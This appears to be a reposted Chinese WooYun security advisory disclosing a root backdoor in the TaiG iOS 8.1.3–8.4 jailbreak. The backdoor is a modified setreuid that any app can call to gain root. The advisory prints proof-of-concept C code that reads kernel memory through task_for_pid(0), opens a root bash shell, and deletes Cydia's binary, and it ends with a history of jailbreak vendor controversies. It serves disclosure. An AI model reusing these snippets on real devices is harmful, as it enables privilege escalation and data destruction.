11

太极越狱重大安全后门 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

太极越狱重大安全后门

0x00 背景


太极越狱iOS8.1.3-8.4含有重大安全后门,越狱后导致任意APP可以提权到Root,从而影响用户数据的安全。举例来说获取Root权限后可以完全控制系统文件,甚至进一步安装木马等严重威胁用户安全的恶意软件。

0x01 细节


具体分析结果显示太极越狱修改了setreuid这个关键系统API,导致任意APP都可以直接调用setreuid(0,0)获得Root执行权限,从而可以修改任意系统文件、也可以task_for_pid打开系统内核句柄从而完全控制系统底层。例如通过写入系统目录“/Library/LaunchDaemons”可以注册系统服务,从而植入木马、病毒、盗号工具威胁用户隐私数据和密码。

漏洞重现演示如下图:

enter image description here

示例一:通过test_taig_backdoor1程序读取内核内存

enter image description here

示例二:通过test_taig_backdoor2获得root权限shell

test_taig_backdoor读取任意内核poc代码:

#!c
#include <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <spawn.h>
#include <mach/mach.h>

void dump_kernel_memory(vm_address_t addr)
{
    kern_return_t kret;
    mach_port_t proc_task = 0;
    vm_size_t ret_size = 0;
    vm_size_t i;
    char buffer[128] = {0};
    int ret;

    ret = task_for_pid(mach_task_self(), 0, &proc_task);
    if (ret != 0)
    {
        NSLog(@"[err] get tfp0 fail: %d", ret);
        return;
    }

    NSLog(@"task for pid 0 = %u", proc_task);

        kret = vm_read_overwrite(proc_task,
                                addr,
                                sizeof(buffer),
                                  (vm_address_t)buffer,
                                   &ret_size);

    char *info = malloc(4096);
    info[0] = '\0';

    for (i = 0; i < ret_size; i++)
    {
        if (i % 16 == 0) sprintf(info + strlen(info), "\n%p: ", (void *)(addr + i));
        sprintf(info + strlen(info), "0x%02x ", *(uint8_t*)(buffer + i));
    }
    NSLog(@"%s", info);

    free(info);
}

int main (int argc, const char * argv[])
{
    if (argc != 2)
    {
        NSLog(@"%s [kernel_address]", argv[0]);
        return 0;
    }

    NSLog(@"current uid=%d euid=%d", getuid(), geteuid());

    /*
    * taig backdoor test
    */

    setreuid(0,0);

    NSLog(@"now uid=%d euid=%d", getuid(), geteuid());

    vm_address_t addr = strtoul(argv[1], NULL, 16);
    dump_kernel_memory(addr);

    return 0;
}

test_taig_backdoor2提权poc代码:

#!c
void get_root_shell
{
    setreuid(0,0);
    system("/bin/bash -i");
}

在APP中添加下面的代码进行删除文件测试(谨慎执行):

#!c
void testBackdoor()
{
NSLog(@"当前运行进程 uid=%d euid=%d", getuid(), geteuid());
setreuid(0,0);
NSLog(@"后门提权后,当前运行进程 uid=%d euid=%d", getuid(), geteuid());

NSLog(@"删除任意文件演示(该测试会导致Cydia无法运行,请谨慎执行)");
unlink("/Applications/Cydia.app/MobileCydia");
}

太极越狱iOS8.0-8.1.1未能找到机器进行测试,可能也有此重大后门。

0x02 总结


越狱软件中藏有安全后门并非没有先例。早在针对iOS 7的完美越狱工具evasi0n7中,越狱开发者evad3rs就修改了第0号系统调用,导致任意app可以轻易获得内核代码执行的能力。这一做法也引起越狱大神winocm的强烈不满(http://winocm.moe/projects/research/2014/01/11/evading-ios-security/)。早在2014年Winocm在博文中就已经质疑太极是否在利用这个后门。

太极越狱与evad3rs的“绯闻”一直没有间断。据福布斯报道(http://www.forbes.com/sites/thomasbrewster/2015/06/26/china-iphone-jailbreak-industry/)(http://mobile.163.com/15/0630/10/ATBNV93H0011671M.html), 太极曾支付evad3rs高达一百万美金用于越狱合作开发,该合作的产物就是evasi0n7强制安装“太极助手”的闹剧。至于太极越狱的安全后门是“惯犯”还是“初犯”的谜底恐怕就无法揭开了。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK